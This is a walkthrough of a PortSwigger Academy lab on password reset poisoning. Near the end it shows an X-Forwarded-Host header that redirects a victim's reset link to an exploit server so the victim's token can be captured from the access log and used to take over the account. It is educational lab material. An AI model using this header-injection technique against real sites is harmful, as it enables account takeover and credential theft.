PortSwigger Academy - Password reset poisoning via middleware

Jun Takemura · May 24, 2025

Password reset poisoning via middleware

Task

This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.

Attempt

First send a password reset email for wiener. I got this url via email:

https://0a030081042086c3812625ba00120074.web-security-academy.net/forgot-password?temp-forgot-password-token=hrgidtjly2xn9ol6kbirbbzbdbdg9cf9

The value of temp-forgot-password-token looks like gibberish. I put that into decoder but nothing came out. I checked wiener’s MD5 hash but it was eb7ae8b63bd9d7c76ebdd42c99c732e7. The token seems random.

Anyways I followed the link and set a new password imsoweak! The password reset request has these parrameters:

temp-forgot-password-token=hrgidtjly2xn9ol6kbirbbzbdbdg9cf9&new-password-1=imsoweak%21&new-password-2=imsoweak%21

It sends temp-forgot-passowrd-token in the url as its POST parameter. I deleted the parameter but got this error "Missing parameter 'username'". I guess when a request doesn’t have a token, the server sees it as a request to generate a new password reset link for a user.

Since we can’t just ignore this token, we somehow need to get the victim’s token. But how? You gotta think about how the server generates a reset link. A reset link contains a domain like this:

https://0a030081042086c3812625ba00120074.web-security-academy.net/forgot-password

So how does the server know where to serve this token?

Some devs write code like this rather than hard code the domain:

host = request.headers.get("Host")  # or X-Forwarded-Host
link = f"https://{host}/reset?token={token}"

This way the server dynamically serves to multiple domains. However, without a protection, this directly takes a domain from a HOST header.

If they use Django, one of the counter measures is to set allowed hosts:

ALLOWED_HOSTS = ["example.com"]

But this doesn’t validate X-Forwarded-Host though by default USE_X-FORWARDED-HOST is set to false.

In short you can try altering a HOST or X-Forwarded-Host header and see if the server builds a link using the domain you set. If it does you can steal a victim’s token.

Let’s give it a go!:

X-Forwarded-Host: exploit-0a5a00e803f4d50f8020116701c600be.exploit-server.net/

Add the above line to the request to /forgot-password. Change the value of the username parameter to carlos. Since poor Carlos is careless enough to click whatever link he got in emails, now we can get his token in the access log.

Using the token, change his password and log in.

Twitter, Facebook